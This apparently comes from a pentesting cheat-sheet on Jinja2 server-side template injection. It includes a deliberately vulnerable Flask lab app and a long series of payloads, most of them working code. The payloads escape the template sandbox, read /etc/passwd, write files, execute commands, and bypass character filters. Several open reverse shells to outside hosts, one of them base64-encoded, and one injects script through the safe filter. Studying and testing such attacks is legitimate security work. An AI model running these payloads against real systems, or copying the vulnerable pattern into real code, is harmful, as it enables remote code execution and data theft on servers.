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Network Services Pentesting
Jinja2 SSTI
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Lab

from flask import Flask, request, render_template_string
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app = Flask(__name__)
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@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
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if __name__ == "__main__":
app.run()

Misc

Debug Statement

If the Debug Extension is enabled, a debug tag will be available to dump the current context as well as the available filters and tests. This is useful to see whatโ€™s available to use in the template without setting up a debugger.
<pre>
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{% debug %}
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</pre>

Dump all config variables

{{ config }} #In these object you can find all the configured env variables
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{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

Jinja Injection

First of all, in a Jinja injection you need to find a way to escape from the sandbox and recover access the regular python execution flow. To do so, you need to abuse objects that are from the non-sandboxed environment but are accessible from the sandbox.

Accessing Global Objects

For example, in the code render_template("hello.html", username=username, email=email) the objects username and email come from the non-sanboxed python env and will be accessible inside the sandboxed env. ****Moreover, there are other objects that will be always accessible from the sandboxed env, these are:
[]
''
()
dict
config
request

Recovering <class 'object'>

Then, from these objects we need to get to the class: <class 'object'> in order to try to recover defined classes. This is because from this object we can call the __subclasses__ method and access all the classes from the non-sandboxed python env.
In order to access that object class, you need to access a class object and then access either __base__, __mro__()[-1] or .mro()[-1]. And then, after reaching this object class we call __subclasses__().
Check these examples:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
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# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
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# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
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{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Having recovered <class 'object'> and called __subclasses__ we can now use those classes to read and write files and exec code.
The call to __subclasses__ has given us the opportunity to access hundreds of new functions, we will be happy just by accessing the file class to read/write files or any class with access to a class that allows to execute commands (like os).
Read/Write remote file
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
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# Calling os.popen without guessing the index of the class
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
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## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
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To learn about more classes that you can use to escape you can check:

Filter bypasses

Common bypasses

These bypass will allow us to access the attributes of the objects without using some chars. We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
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## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
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## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
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# Using with
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Avoiding HTML encoding
By default Flask HTML encode all the inside a template for security reasons:
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
The safe filter allows us to inject JavaScript and HTML into the page without it being HTML encoded, like this:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE by writing an evil config file.
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
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# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
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# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Jinja Injection without <class 'object'>

From the global objects there is another way to get to RCE without using that class. ****If you manage to get to any function from those globals objects, you will be able to access __globals__.__builtins__ and from there the RCE is very simple.
You can find functions from the objects request, config and any other interesting global object you have access to with:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
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{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
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# You can iterate through children objects to find more
Once you have found some functions you can recover the builtins with:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
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# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
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## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
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# All the bypasses seen in the previous sections are also valid

References

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On this page
Lab
Misc
Debug Statement
Dump all config variables
Jinja Injection
Accessing Global Objects
Recovering <class 'object'>
RCE Escaping
Filter bypasses
Jinja Injection without <class 'object'>
References